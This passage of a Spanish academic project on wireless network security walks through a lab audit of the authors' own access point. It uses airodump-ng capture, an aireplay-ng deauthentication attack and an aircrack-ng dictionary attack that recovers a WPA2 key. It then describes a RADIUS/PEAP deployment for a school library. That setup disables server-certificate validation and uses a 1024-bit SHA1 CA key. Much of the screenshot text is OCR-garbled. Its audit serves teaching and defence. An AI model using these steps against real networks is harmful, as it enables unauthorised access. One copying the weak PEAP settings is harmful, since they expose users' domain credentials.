Figura 32: Capturamos los datos del AP y los guarda mos en un fichero

, especificamos que haga la captura a través del adaptador wlanO, del AP con MAC
30:39:F2:67:60:EE (--bssid), que emite por el canal 1 (-c) y que guarde la captura en el archivo
DatosWPA (-w).

CH 1 ][ Elapsed: 8 mins ][ 2012-12-15 15:40 ][ fixed channel wlane: 3
PWR RX( Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
39:F2:67:60:EE -77 20 1820 58 0] 1 54e WPAZ CCMP PSK TFCWLAN
STATION PWR Rate Lost Frames Probe

3J9:F2:67:60:EE 00:23:6C:82:54:E5 -69 le- 1

Figura 33: Captura de los datos del AP en tiempo re al

, podemos ver como se inicia la captura de los datos. También podemos ver en la imagen que hay
un dispositivo conectado al AP (STATION) donde se nos muestra su MAC. Esto nos servira para
realizar el proximo paso. En caso de que no hubiera un dispositivo conectado, a diferencia de WEP,

no podriamos realizar un ataque a esta red.

Paso 5:

Figura 34: Iniciamos el ataque de “Desautenticacion

Iniciamos el ataque de “Desautenticacion” contra el cliente que hay conectado al AP. Con esto lo que
se consigue es que el cliente se tenga que volver a autenticar y de esa forma poder nosotros
capturar handshakes. Para ello hemos especificado el tipo de ataque “Desautenticacion” (-0), el
namero de desautenticaciones (5), la MAC del AP 30:39:F2:67:60:EE (-b), la MAC del cliente
conectado 00:23:6C:82:54:E5 (-c) , y por ultimo el adaptador wlanO.
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Waiting for beacon frame (BSSID: :F2:67:60:EE) on channel 1
Sending 64 directed DeAuth. STMAC: [ 5 54:E5] [ 8|45 ACKs]
Sending 64 directed DeAuth. STMAC: [¢ t6C: 54:E5] [ 4|48 ACKs]

Sending 64 directed DeAuth. STMAC: [¢ 5 54:E5] [ 4|40 ACKs]
Sending 64 directed DeAuth. STMAC: [0€ 16C:82:54:E5] [25]|46 ACKs]
Sending 64 directed DeAuth. STMAC: [@c€ 16 54:E5] [26|37 ACKs]

Figura 35: Resultados del ataque

Podemos ver como se envian al AP las 5 desautenticaciones.

Paso 6:

CH 1 1[ Elapsed: 7 mins ][ 2012-12-15 20:54 ][ WPA handshake: 30:39:F2:67:60: EE
BSSID PWR RX( Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
30:39:F2:67:60:EE -77 20 1820 58 ( 1 54e WPAZ CCHP PSK TFCWLAN
BSSID STATION PWR Rate Lost Frames Probe

30:39:F2:67:60:EE 00:23:6C:82:54:E5 -69 le- 1

Figura 36: Captura de los datos del AP en tiempo re al

Comprobamos como, después del paso anterior, se ha obtenido el handshake en el paso 3.

Paso 7:

wifiway aircrack-ng -w Diccionario DatosWPA-02.capl]

Figura 37: Iniciamos el descifrado de la clave
Iniciamos el programa para descifrar la clave, donde le especificamos el diccionario con contrasefas

gue gueremos usar (Diccionario), y el fichero donde hemos guardado la captura de los datos
(DatosWPA-02.cap).
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Aircrack-ng 1.1 r2022

8:55] 16122024 keys tested (3061.47 k/s]

KEY FOUND! [ 16122012 ]

Master Key

Transient Key

EAPOL HMAC

Figura 38: Resultado fina

Este proceso puede llegar a ser muy largo, porque basicamente consiste en un ataque de fuerza
bruta. En nuestro caso hemos usado solo niUmeros para nuestra contrasefia, y por consiguiente,
también hemos usado un diccionario con combinaciones Unicamente de nUmeros. Si aumentaramos
la longitud de la contrasefia, incorporaramos letras mayusculas y mindsculas, y también
afiadiéramos simbolos, esta tarea podria llegar a ser inacabable.

En nuestro caso, al cabo de una hora y 29 minutos, el programa descifra la clave, que en nuestro
caso es 16122012.
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4.4 Recomendaciones de seguridad

Como hemos podido comprobar con la auditoria, WEP es un protocolo inseguro que ninguna red
inaldmbrica actual tendria que seguir utilizando. Con facilidad y en tan solo unos minutos una
persona no autorizada con unos minimos conocimientos de informatica podria acceder alaredy
realizar cualquier tipo de ataque en ella.

En cambio el protocolo WPA2, como hemos podido comprobar, es més laborioso de romper, no a
nivel de dificultad para el atacante, sino a nivel de tiempo. Cuanto més larga y robusta sea la

contrasefia mucho mas tiempo requerira para romperla.

Con todo lo visto hasta ahora podemos enumerar las siguientes recomendaciones para implementar

una WLAN segura:

* Cambiar los datos que vienen por defecto en los AP como son el usuario y la contrasefia de
administrador.

» Utilizar el protocolo de seguridad WPA2 que, junto con el cifrado AES y una clave larga, que
incluya letras mayusculas y mindsculas, numeros y simbolos, es el protocolo de seguridad mas
seguro actualmente.

» Activar la ocultacion del ESSID en el AP. Evita que dispositivos que no conocen el ESSID puedan
asociarse a la red. Existe software con el que se puede llegar a saltar este tipo de seguridad.

» Utilizar el filtrado MAC. Se introducen en el AP las direcciones MAC de los dispositivos
autorizados. Este tipo de seguridad se puede saltar con software que falsee la MAC del atacante
por una permitida.

» Desactivar la asignacion automatica de IP (DHCP- Dynamic Host Configuration Protocol). Evita

gue si el atacante consigue acceso a la red se le asigne una IP libre y dentro del rango valido.

Otras recomendaciones mas para el ambito empresarial serian:

» Utilizar un servidor de autenticacion y autorizacion tipo RADIUS.

» Implementacion de un portal cautivo. Este tipo de seguridad intercepta el trafico http obligando al
usuario a introducir su usuario y contrasefia en una pagina Web para poder tener acceso a la red.

» Instalar un WIDS (Wireless Intrusion Detection System) que permite prevenir y detectar accesos
no autorizados a la WLAN, mediante el analisis del trafico y la asignacién de politicas de

seguridad.
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5. Caso practico

La directora de un instituto de secundaria, junto con el responsable de informética, nos ha pedido
gue implementemos una solucion Wi-Fi en la biblioteca del centro. Lo que se quiere es que los
alumnos que dispongan de ordenador portétil puedan tener acceso a Internet desde la biblioteca
mediante tecnologia inalambrica, sin que tengan que utilizar todos la misma contrasefia.

El presupuesto que hay para el proyecto, dado los tiempos de crisis actuales, tendria que ser el
menor posible, asi que habra que reutilizar las tecnologias existentes en el centro y en caso

necesario software libre.

5.1 Escenario

La biblioteca donde se quiere dar cobertura inalambrica a los usuarios tiene unas dimensiones de
20x10 metros en forma rectangular, con las estanterias de libros pegadas a la pared, es decir, no
habra obstaculos por medio de la sala que impidan la propagacion de sefal.

El nimero méximo de usuarios que pueden llegar a utilizar el servicio simultineamente seré de 20.
El centro dispone de una red cableada (de la cual hay varias tomas en la biblioteca), y un servidor
controlador de dominio con el sistema operativo Windows 2008 Server.

El servidor no hace de servidor DHCP (todos los equipos del centro tienen IP fija), y contiene el AD
(Active Directory) donde estan creados todos los alumnos y profesores del centro con sus
respectivas contrasefias.

Como AP se utilizara uno proporcionado de forma gratuita por uno de los profesores. Con un AP es
mas que suficiente para nuestro caso. El AP proporciona una velocidad de 54Mbps hasta 30m de
distancia, por lo que garantiza en nuestro caso los 54Mbps en toda la biblioteca. En el caso de que
haya los 20 usuarios simultaneamente conectados nos daria una velocidad de 54/20=2,7Mbps,
velocidad méas que suficiente para lo que se nos pide.

Para la autenticacion de usuarios hemos recomendado la utilizacion de un servidor RADIUS. La idea
es que cualquier usuario que esté dado de alta en el AD pueda conectarse de forma libre a la WLAN

de la biblioteca mediante su usuario y su contrasefia.
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El esquema de funcionamiento del sistema sera el siguiente:

LANER Punto de acceso RADIUS y
inaldmbrico inalémbrico diractorio
(19}
@ Conexidn del dienta é
% ' * Punio de acteso o _
| 2 m;:" ;i:l,t:;m inalambrico | Autenticacion de servidor A ﬁ
Imercambio de claves [ @
Clienta -
) | Distribucion de claves RADIUS
’ : 1AS)
Autonizacion Ty
= @
- _®] I
4
- Racursos
:\i de red
Red J
interna s I
Figura 39: Funcionamiento del sistema autenticacion Cliente-Servidor

El esquema de la red quedara de la siguiente manera:

ROUTER
192.168.1.1

SWITCH
192.168.1.2

.. PUNTO ACCESO
. 192.168.1.200

CLIENTE
DHCP

Figura 40: Esquema de Red final del Instituto

| sErRVIDOR W2008 & RADIUS

192.168.1.150
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5.2 Procedimiento

Para que se pueda llevar a cabo lo que se nos pide habra que configurar los tres actores principales
del proyecto: el Servidor, el AP, y los Clientes.

En los siguientes apartados explicaremos de forma teérica el procedimiento realizado para configurar
cada una de las partes. En el Anexo | incluiremos los comandos, acciones y capturas de pantalla

correspondientes a cada uno de los procesos.

5.2.1 Configuracion del Servidor

Partimos de la base de que tenemos un servidor ya operativo, con el sistema operativo Windows
2008 Server R2 Datacenter con todos los parches de seguridad hasta la fecha, cuyo nombre es
WServer, su IP es 192.168.1.150, y es controlador del dominio IESTFC.org. En él estan creados
todos los usuarios de los alumnos y del personal docente del instituto, organizados en unidades

organizativas con sus respectivos permisos. Trabajaremos en él usando el usuario Administrador.

A parte de lo que ya esté instalado y configurado, hay que afiadir un nuevo grupo de seguridad en el
AD para especificar que los usuarios pertenecientes a ese grupo tengan acceso a la WLAN. Ademas
habré que instalar y configurar en el servidor los Servicios de acceso y directivas de redes, los

Servicios de certificados de AD, y el Servidor DHCP.

Empezamos con la creacion del grupo de seguridad, al que llamaremos radgrp, en la unidad

organizativa Alumnos, de ambito global, y en miembros agregaremos todos los alumnos a ese grupo.

Acto seguido seleccionaremos los huevos servicios que queremos afadir al servidor, que en nuestro
caso seran los Servicios de acceso y directivas de redes, los Servicios de certificados de AD, y el
Servidor DHCP.

En los Servicios de acceso y directivas de redes solo nos interesaré seleccionar el Servidor de
directivas de redes, que es lo que nos permitird crear y aplicar directivas de acceso a la red.

En el Servidor DHCP, primero nos detectara las conexiones de red con IPs fijas que hay asignadas
en nuestro servidor (en nuestro caso solo hay una que es la IP del servidor y es 192.168.1.150 ya
gue solo dispone de una tarjeta de red) para que podamos seleccionar la que queremos que use
para dar servicio a los clientes. A continuacion especificaremos el dominio primario (IESTFC.org), la
direccion IP del servidor DNS (192.168.1.150 que es nuestro servidor), y por ultimo agregaremos un
nuevo ambito, que llamaremos RADIUS, que es donde especificaremos el rango de IPs que nuestro
servidor concedera a los clientes que se las solicite (de la 192.168.1.175 ala 192.168.1.195), la
mascara de subred de esas IPs (255.255.255.0), y la puerta de enlace por la que queremos darles

salida a Internet (la IP de nuestro Router 192.168.1.1). Como ni servidor ni cliente trabajara con IPv6
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deshabilitamos la opcién, y por ultimo autorizaremos el servidor DHCP en el AD usando las
credenciales del usuario Administrador (que es el que estamos usando).

Una vez configurado el DHCP, pasamos a configurar los Servicios de de certificados de AD. En
primer lugar seleccionaremos Unicamente la instalacion del rol de Entidad de certificacién que es lo
gue nos permitird emitir y administrar certificados. Seleccionamos el tipo de instalacion Empresa
para que se pueda usar el servicio de directorio para emitir y administrar certificados, el tipo de
certificado usaremos CA raiz ya que va a ser la Unica entidad de certificacion que habré en esta
organizacion, y por ultimo procederemos a la creacion de la clave privada que nuestro servidor usara
para generar y emitir los certificados. Esta sera una nueva clave privada, como proveedor de
servicios de cifrado usaremos RSA#Microsoft Software Key Storage Provider para crear una clave
con algoritmo hash SHA1 y una longitud de 1024. Como nombre le pondremos WSERVER-CA, le
daremos una validez de 5 afios, y la base de datos de certificados dejaremos la que viene por
defecto.

Una vez realizado todo esto nos saldrd un resumen de los pardmetros seleccionados y

procederemos a instalar.

Ya realizada la instalacién de los servicios anteriormente comentados, procedemos a la creacion de
la directiva de acceso mediante servidor RADIUS. Para ello primero hemos de registrar el servidor de
directivas de redes en AD. Una vez realizado esto podemos seleccionar el tipo de escenario
“Servidor RADIUS para conexiones cableadas o inaldmbricas 802.1X" y configurarlo segun nuestras
necesidades. En primer lugar seleccionamos conexiones inalambricas seguras. Luego agregamos un
nuevo cliente RADIUS, que en nuestro caso sera el AP que instalaremos en la biblioteca (Nombre
descriptivo, direccion IP que en nuestro caso 192.168.1.200, y clave compartida que utilizara cliente-
servidor, que en nuestro caso sera TFC123). Acto seguido indicaremos el tipo de autenticacion que
utilizaremos que serd EAP Protegido (PEAP) y por ultimo indicaremos a qué grupo de seguridad

afectara esta directiva, que en nuestro caso sera al grupo anteriormente creado radgrp.

El siguiente paso es crear los certificados del servidor. En primer lugar crearemos una plantilla de
certificado a la que llamaremos “Certificado Usuarios Wifi” donde le daremos permisos de leer,
inscribirse e inscripcion automética a los usuarios autentificados, e inscribirse e inscripcion
automética a los equipos del dominio, e indicaremos que el nombre del sujeto lo construya a partir de
ésta informacion de AD.

Una vez creada la plantilla del certificado, la habilitamos en la entidad de certificacién (creada
anteriormente con nombre WSERVER-CA), y posteriormente inscribimos el certificado usando la
directiva de inscripcién de AD haciendo que nos solicite el “Certificado Usuarios Wifi” en el cual
especificaremos que habilite la extensién de algoritmo simétrico. Vemos entonces que se ha creado

el nuevo certificado emitido para WSERVER.
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Por ultimo tenemos que verificar si en las directivas de red tenemos la directiva “Conexiones
inaldmbricas seguras” en primer lugar del orden de procesamiento, si esta habilitada, si tenemos la
orden de conceder acceso Yy, en restricciones, si PEAP tiene seleccionado el certificado emitido para

WSERVER creado anteriormente. Si es asi ya tendremos el servidor totalmente configurado.

5.2.2 Configuracion del Punto de Acceso

En primer lugar accedemos al panel de gestion de nuestro AP. En nuestro caso devolvimos al AP a
su configuracién de fabrica y accedimos al panel de gestidn escribiendo en nuestro navegador la
direccion IP por defecto (192.168.1.1), el usuario (admin) y la contrasefia (admin).

Una vez dentro lo primero que hay que hacer es cambiar la contrasefia del usuario admin para que
ningun usuario que se conecte a la WLAN pueda acceder a la configuracion del AP.

Lo siguiente sera asignarle al AP la direccion 192.168.1.200 y desactivar que ejerza de servidor
DHCP (el servidor WServer ya realiza esta funcién).

Por ultimo pasaremos a la configuracion de la WLAN. En primer lugar ponemos el nombre de nuestra
WLAN (SSID) que en nuestro caso sera TFCWLAN, activamos el broadcast del SSID para que
cualquiera que esté a rango pueda ver la red, y seleccionamos el canal por el que queremos emitir
(en nuestro caso el canal es indiferente cual queremos que sea, ya que no hay ninguan otro AP
cercano). Una vez configurado esto pasamos a la parte de la seguridad WLAN. Aqui seleccionamos
el modo WPAZ2-Enterprise, el algoritmo AES, escribimos la IP de nuestro servidor RADIUS y su
puerto (en nuestro caso 192.168.1.150 puerto 1812) y asignamos la clave compartida (en nuestro
caso TFC123) la cual elegimos anteriormente al configurar el servidor.

Una vez realizado todo lo anterior guardamos la configuracion y ya tendremos el AP listo.

5.2.3 Configuracion de los Clientes

Los alumnos, la primera vez que quieran conectar sus portatiles a la WLAN de la biblioteca, tendran
que realizar una pequefa configuracion.

Bésicamente consistird en afladir manualmente la red TFCWLAN, especificandole las opciones de
seguridad que sabemos que posee, para que el cliente sepa lo que tiene que hacer cuando esta a su
alcance.

En primer lugar escribiremos el SSID de la red (TFCWLAN), tipo de seguridad WPA2 con cifrado de
datos AES y autenticacion EAP protegido (PEAP). EI PEAP habra que especificar que no valide un
certificado de servidor (para evitarnos el tener q instalar certificados en cada uno de los portétiles
gue traigan los alumnos), y que como método de autenticacién utilice contrasefia segura (EAP-
MSCHAP v2) sin que use automaticamente el nombre de inicio de sesién y la contrasefia de
Windows (asi nos pedira usuario y contrasefia para conectarnos a la WLAN, donde tendremos que

introducir los personales del dominio).
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Esta configuracién quedara guardada en los portatiles, por lo que las sucesivas veces que quieran

conectarse no haré falta realizar estos pasos. Solo sera necesario introducir el usuario y la

contrasefia del dominio cuando se nos pida.

5.3 Monitorizacion del sistema
Una vez realizada la configuracion de todos los equipos podemos proceder a la comprobacion se su
correcto funcionamiento.

Antes de empezar, decir que para la realizacion del proyecto se ha utilizado un laboratorio de
pruebas compuesto por:

Ordenador portétil con tarjeta de red inalambrica Broadcom 802.11n y con el sistema operativo
Windows Xp Sp3 que usamos como Cliente.

Punto de Acceso Linksys WRT54G con la version de Firmware 4.21.5 que usamos como AP.
Maquina virtual Oracle VM VIrtualBox con el sistema operativo Windows 2008 Server R2 Datacenter

gue usamos como Servidor.

Como vemos a continuacién tenemos el cliente con la tarjeta de red inalambrica configurada para

obtener la IP automaticamente:

2] Sianizada:
General | Redes inalambricas I COpciones avanzadas I | v

& I jIr

Propiedades de Protocolo Internet (TCP/IP) 21 %l atta velocidad

General IConﬁgumaén attemativa I

4 letwork Adapter “;1‘|"-
3 Puede hacer que la corfiguracién IP se asigne automaticamente sisu c ecissipaies r_"f
red es compatible con este recurso, De lo contranio, necesta consultar o Canseradoraesy: Tt glia

con &l administrador de I3 red cudl es la corfiguracion 1P apropiada.

- ;L—"- Wireless

{570 v_q,f Mo estd conectado, Con servi...
[ &M Adaptador de red Broadcom 8.

% Obtener una direccin P automaticamerte

—(" Usar la siguiente dirsccidn 1P:

; letwork Adapter
Direooin | I
fi Maseara de subred: I SRR R
Fueta de enlace predelemitiada I il

@+ Obterierlz dirsccidn del ssrvidor DNS automaticaments de red Bluetooth )
F —{ Usar las siguientes direcciones de servidor DNS: ;

Semador DS prefends I
= Senvidor DS slterhativo I

Opciones avanzadas...

Aceptar Cancelar I
Winslace |

Adaptador de red Broadcom 802, 11n v

Figura 41: Configuracion TCP/IP de la tarjeta inala mbrica del Cliente

A continuacion comprobamos las redes inalambricas que tenemos a nuestro alcance y le damos a
conectar a la red TFCWLAN:
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~Tareas de red

g Actuslizar lista de redes

2, Configurar una red
inaldmbrica doméstica o
de ofidna pequefia

~Tareas reladonadas

i Informacidn sobre redes
inaldmbricas

i‘g Cambiar el orden de las
redes preferidas

"é-; Cambiar configuracion
avanzada

x|
Elegir una red inalambrica

Haga dlic en cualguier elemento de la siguiente lista para conectarse a una red inalambrica
en el alcance o para obtener mas informacidn,

Comprobando Y B
identidad

Espere mientras Windows se conecta con la red "“TECWLAN®, [I[l

Esperando que |a red esté lista...

L1} Cancelarl [I[l
.o

Desconectar |

Figura 42: Peticion de conexién a la red TFCWLAN

Nos pedira que pinchemos en el bocadillo para seleccionar la credencial:

DIFEXICIES OF PEG -

Archivo: Edigon  Ver  Favoritos

j ! Blsqueda

.JAtré‘s = ?

Direcdon |¢, Conexiones de red

Tareas de red &

[&] Crear una conexién nueva

%) Configurar una red doméstica
o para pequefia ofidna

& Cambiar configuracion de
Firewall de Windows

e Ver redes inaldmbricas

disponibles

Deshabilitar este dispositivo
de red

% Reparar esta conexion

qu Cambiar el nombre de esta
Conexian

& Ver el estado de este

conexidn

[#] cambiar la configuradin de

esta conexidn

Otros sitios £

(} Panel de control
&) Mis sitios de red
.D Mis documentos
i MipC

»
[

Detalles

LAN o Internet de alta velocidad

A ireless
Comprobando identidad, Con ...
[ (i Adaptador de red Broadcom 8.,

|Adaptador de red Broadcom 802, 11n

Figura 43: Peticion de credenciales por parte del S

x]
Haga dlic aqui para seleccionar un certificado u otra credencial
para la conexidn de red TFCWLAN

7 Wireless

ervidor
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Una vez pinchamos nos pedira que introduzcamos el usuario y la contrasefia del dominio:
escribircredenciales Y

Nambre de l raduser1
[ELE=gla

th'aseﬁa: | l.......l.l
inicio de sesidn:

I Guardar este nombre.de usuario y contrasefia para uso:

Acepiarl Cam:e{arl

Figura 44: Introduccion de credenciales en el Clien te

A continuacién veremos que se ha conectado a la red:

=l
frchive:  Edigon  VWer  Favorites  Herramientas  Opoones avanzadas  Ayuda | ’;

Qi - () - [F| [Puaeta || camens | [T
Direcaidn l@, Conexiones de red j
*| LAN o Internet de alta velocidad

]
=

Tareas de red &
-
B 4 Wireless
IS Crear una conexidn nueva Conectado, Con servidor de s,
Configurar una red domestica i) Adaptador de red Broadcom 5.

o para pequefia ofidna

ﬁ Cambiar configuracion de
Firewall de Windows

91 Ver redes inalambricas
disponibles

@ Deshabilitar este dispositivo
de red

% Reparar esta conexion

Iim Cambiar el nombre de esta
conexidn

& Ver el estado de este
conexidn

Cambizr la configuracicn de
esta conexidn

Otros sitios

»

B- Panel de control
\‘g Mis sitios de red
u-_l:_" Mis documentos
fi MiPC

o
L

Detalles
|adaptador de red Broadcom 802, 11n

1531 Wireless esta ahora conectado lzl

Conectado a: TFCWLAN
Intensidad de la sefial: Excelente

Figura 45: Conexion satisfactoria a la red TFCWLAN
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Podemos ver tanto en el cliente como en el servidor que se nos ha asignado una direccion IP

automaticamente y que esta IP esta dentro del rango que especificamos en el servidor:

Adaptador Ethernet Wireless H

Sufijo de conexidn especifica DHS IESTFC.ory

Dirveccidn IP. . . . . . . . . . . 192_168.1.175
Miscara de subred . . . . . . . . 255 255 255.8
Puerta de enlace predeterminada 122.168.1.1

Figura 46: Configuracion IP del Cliente

% pHCP

Archivo  Accion  Ver  Ayuda
&9 75X =2 [ H=

? DHCP Direccion IF del cliente Expiracion de cesidn | Ti 1d. exclusivo Descripcion | Proteccion de acceso a redes Expiracidn del
Bl 5 wserver.iestfc.org

ERFY T
B [ Ambito [192.168.1,0] RADILS
£ Conjunto de direcciones
@ Concesiones de direcciones
5| Reservas
.. Opciones de dmbito
- Opciones de servidor
= [#| Filkras
Yz Permitir
X5, Denegar
& IPve

Figura 47: Clientes DHCP conectados en el Servidor

De esta forma queda demostrado que el sistema implementado funciona correctamente.

5.4 Conclusiones

Como hemos podido ver durante este apartado, la implementacion de una red inalambrica segura,
en el escenario que se nos planteaba, no supone un esfuerzo excesivo ni de tiempo ni de recursos
econdmicos teniendo implementada una estructura de red previa.

También podemos concluir que el nivel de seguridad que ofrece el sistema es 6ptimo para el tipo de
informacion que se mueve en la red.

Para finalizar, hemos de remarcar que se han cumplido los objetivos que se nos han planteado
desde el Instituto: conexion inalambrica en la biblioteca, validacion de usuarios mediante sus
credenciales de dominio, y coste cero.
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6. Conclusiones finales

Como hemos podido ir viendo durante todo este proyecto, las ventajas que ofrecen este tipo de
redes han hecho que en la actualidad el nimero de usuarios domésticos que las utilizan sea muy
numeroso.

En el ambito empresarial, el nimero de usuarios es menor debido a la desconfianza que todavia
ofrece este tipo de comunicaciones en lo que a la seguridad se refiere. Esta desconfianza, creada en
su inicios, con el tiempo ha ido disminuyendo debido al gran nimero de avances en seguridad que
han ido surgiendo. Es cierto que al principio la seguridad era minima, tal y como hemos visto y
hemos podido demostrar, pero en la actualidad el nivel de seguridad que ofrecen los protocolos
como WPAZ2, o la implementacion de servidores de autenticacién como RADIUS, hacen que la
implementacion de este tipo de redes en el &mbito empresarial sea totalmente viable, eso si, siempre
y cuando se implemente de forma correcta y conociendo las tecnologias actuales existentes.

En lo referente al rendimiento de la red y a las velocidades de transferencia de datos, hemos podido
ver que en la actualidad no tienen nada que envidiar a las prestaciones ofrecidas por las redes
cableadas, eso si, también dependera de que se implemente de forma correcta y conociendo las
tecnologias actuales existentes.

WLAN es una techologia podriamos decir que “nueva”, pero en este corto periodo de vida la
evolucién constante que ha tenido, y que sigue teniendo, hara que el nimero de usuarios domésticos

y empresarial siga aumentando.

Para concluir, podemos decir que los objetivos marcados al inicio de este proyecto se han
conseguido. Hemos definido de forma clara las WLAN y se han valorado las ventajas e
inconvenientes de su uso. También hemos visto los ataques de seguridad que actualmente se
pueden llegar a cabo contra este tipo de pruebas, y en el laboratorio de pruebas hemos podido
analizar y comprobar las propuestas de seguridad que podemos encontrar actualmente, y finalmente
hemos realizado un caso de implementacién de una WLAN segura en un entorno real, mediante

autenticacion RADIUS, con éxito.
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7. Glosario de términos y abreviaturas

ACK
ACS
AD
AES
AID
AP
ARP
BSS
CA
CCMP
CDMA
CRC
CSMA/CA
DFS
DHCP
DNS
DSRC
DSSS
EAP
EDCA
ELF
ESS
ESSID
FCC
FHSS
GPRS
GSM
GTK
HCCA
HCF
HR/DSSS
HSPA
IAPP
IAS
IBSS
ICV

9

V200 200 200 20N 28N 25N TR N N 2 N 2 N N 2 N 2 N 2 U 2N N 0 2N N N 2 N N 2 N 2

Acknowledgement

Access Control Software
Active Directory

Advanced Encryption Standard
Association ID

Access Point

Address Resolution Protocol
Basic Service Set

Certification Authority

Counter Mode with Cipher Block Message Autentication

Code Division Multiple Access

Cyclic Redundancy Check

Carrier sense multiple access with collision avoidance

Dynamic Frequency

Dynamic Host Configuration Protocol
Domain Name Server

Dedicated Short Range Communications
Direct Sequence Spread Spectrum
Extensible Authentication Protocol
Enhanced Distributes Channel Access
Extremely Low Frequency

Extended Service Set

Extended Service Set ID

Federal Communications Commission
Frequency Hopping Spread Spectrum
General Packet Radio Service

Global System for Mobile communications
Group Temporal Key

HCF Controlled Channel Access

Hybrid Coordination Function

High Rating Direct Sequence Spread Spectrum
High-Speed Packet Access

Inter-Access Point Protocol

Internet Authentication Service
Independent Basic Service Set

Integrity Check Value
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QoS
RADIUS
RC4
RF
SIM
SSID
TCP
TKIP
TLS
TPC
TTLS
UDP
UHF
UMTS
VolP
VPN
WECA

N2 200 20 2B 2N 2N 2 N N 2 2N 2 2 N N 2 N 2 N 2 N 2 N N 2 N 2 N N 2 2

Institute of Electrical and Electronics Engineers
Internet Engineering Task Force

Internet Protocol

International Radio Consultative Committee
Initiation Vector

Local Area Network

Lightweight EAP

Logical Link Control

Local Multipoint Distribution Service
Medium Access Control

Message Integrity Code

Multiple Input Multiple Output

Near field communication

Orthogonal Frequency Division Multiplexing
Open System Interconnection

Protected EAP

Physical Layer

Public Key Infrastructure

Pseudorandom Number Generation
Pre-Shared Key

Quality of Service

Remote Authentication Dial-In User Server
Rivest Cipher 4

Radio Frequency

Subscriber Identity Module

Service Set ID

Transmission Control Protocol

Temporal Key Integrity Protocol

Transport Layer Security

Transmitter Power Control

Tunnelled Transport Layer Security

User Datagram Protocol

Ultra High Frequency

Universal Mobile Telecommunications System
Voice over IP

Virtual Private Network

Wireless Ethernet Compatibility Alliance
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WEP > Wired Equivalent Privacy

WIDS > Wireless Intrusion Detection System

Wi-Fi > Wireless Fidelity

WIMAX > Worldwide Interoperability for Microwave Access

WLAN > Wireless Local Area Network

WMAN > Wireless Metropolitan Area Network

WPA > Wi-Fi Protect Access

WPAN > Wireless Personal Area Network

WWAN -> Wireless Wide Area Network

XOR -> OR Exclusive
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ANEXO |

Configuracién del Servidor

Vamos a Inicio-Herramientas Administrativas-Usuarios y Equipos de Active Directory. Dentro

Alumnos haremos botén derecho-Nuevo-Grupo. En la pestafia General:

B Usuarios y equipos de Active Directory

1ol x|
Archivo.  Accion Wer  fvuda
oy | F @| Eg’ 5| Propiedades: radgrp i |
| Usuatios v equipos de Active | General | Miembrasl Miembro‘del Administrado-porl Descripeion |
| Consultas guardadas
E 5 [ESTFC.org radh
s arp
2| Alumnos %
[+ || Buikin
# || Compukers : .
® :| Domzin Contrallers ‘Mombre de grupo [anterior a Windows 2000): I
[ || ForeignSecurityPrinc o o
[# || Managed Service Ao e 1pCIo; I
L Caorreo electronico: |
ecretaria v Adminis! =
 Users ~ &mbito de gupo—— | [ Tipodegpo
€ Damino sl « S;egurii:lad
& Global " Distribucian
£ Universal
Motas:
-]
Aceptar I Cancelar | Aplicar |
En la pestafia Miembros le damos a Agregar e introducimos los usuarios en el grupo:
W Usuarios y equipos de Active Directory o | Ellil
Archivo  Accidn  Wer  Ayuda
& $| # | ngv‘ | Propiedades: radgrp 21x1
] Usuarios v equipos de Active General Miembros I Miembra de I Administrado porI Descripcidn |
| Consultas guardadas _
B 5 [ESTFC.org Mismbros:
o Alumnos Mombre Carpeta de los Servicios de dominio de Active Dir...
‘J. Builtin ‘ IESTFC.org/Alumnos
_| Computers 2, radusen? IESTFC.org/dlumtos
o | Domain Contrallers
| ForeignSecurityPrinc
| Managed Service Ao
2| Profesores
2| Secretaria v Adminis!
] Users
Agregar... Quitar I
Aceptar I Cancelar I Aiplicar |

Aceptamos todo.
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Ahora vamos a Inicio- boton derecho sobre equipo-Administrar. En la parte derecha de la ventana le
daremos a Afadir Roles. Le damos a siguiente. Seleccionaremos:

iministrador del servidor

18] %]
el e e s |
sl
= 3 Roles

| Caracteristicas
& B Diagndstico
& % Configwradén

& {23 Amacenamiento

Viea el manterimiento de los roles instalados en el servidor y agregue o quite roles ¥ caracteristicas.

X[ Ayuda de Resumen de roles

Sa Agregar roles

3 Quitar roles
Selecrione uno o mas foles para instalar en este servidor.
Roles: Descripcidn:
,, Servicios de acteso y drectivas d... i i Servidor DHCI lo de
() S ¥ L] Active Directory Lightweight Directory Services ) Ayuda de AD DS
Sarvibiosderal [] Active Directory Rights Management Services Pesiec i
Ama e DrE L Hyper-v proparcionar deforma centralizada directorio,
Servicios de acceso v directivas de redes direcciones [P temporales &
oF Enlaces de conexion de red [] servicios de archivo informacién relacionada para equipos Ir a Servicios de domini de Active
Configuraciéri NS Tov4 Servicios de certficados de Active Directory clieote Ceechony
- ;s ity
e [] Servicios de Escritorio remoto
Ambitos DHCP [ servicios de federacién de Active Directory
Modo sin estado DHCPYG [ Servicios de implementacién de Windows

[] Servicios de impresion y documentos
[ servidor de aplcaiones

Configuracion DNS 1Pv6

Autprizacion del seryidor D...

R ¢ ADCS = S Agregar servicios de rol
Servicios de rol [ Servidor web 115)

4 Quitar servidos de rol
Thos dainstladin [] windows Server Update Services

Tipo de CA

Clave privada

Criptografia
Mas informacién acerca de los roles de servidor
Norbre de CA

Perioda de validez
con

ol Base de datos de certficados < anterior [ siguiente > |
| »

4l

Cancelar_ |

~| Servidor DNS

Ayuda de Servidor DNS |

Proporciona resolucién de nombres en redes TCP/IP,

(~) Estado de roles 1 1 a Servidor DNS

Menszjes: Ninguno

-]
q ¥] | % Actuslizacién deshabiltada mientras el asistentz esté en uso

I [
r_""""l‘@a sjj IE“P’WEM: e

Le damos a siguiente. Le damos otra vez a siguiente. Seleccionamos:

Seleccionar servicios de rol

a

Antes de comenzar Seleccione los servicios de rol gue desea instalar para Servidos de acceso y directivas de redes:

Roles de servidor Servicios de rol: Descripcidn:

Servicios de accesa v directivas d... V] B e Servidor de directivas deredes

permite creary aplicar directivas de

B ’:i Servicios de enrutamiento y acceso remoto S Srod i Tk Ianr_gan'lzacién

D Servido de acceso remoto

3 para garantizar el mantenimiento, la
Servidor DHCP [ Enrutamiento -autenticacidn de solicitudes de
Enlaces de conexion de red [] Autoridad de registro de mantenimiento ‘7"""0; ¥ |§ BUTDT'ZEUZ“ dle
1 g s solictudes de conexidn de dlientes:
Configuracion DNS TPy ] Protocolo de auterizadién de credenciales de host NEStambian b erith ioplemaniar
Can —ci6n WING [Py NAP {Protem'on de acceso @ re_des.},'
g una tecnologia de creacidn, aplicacian
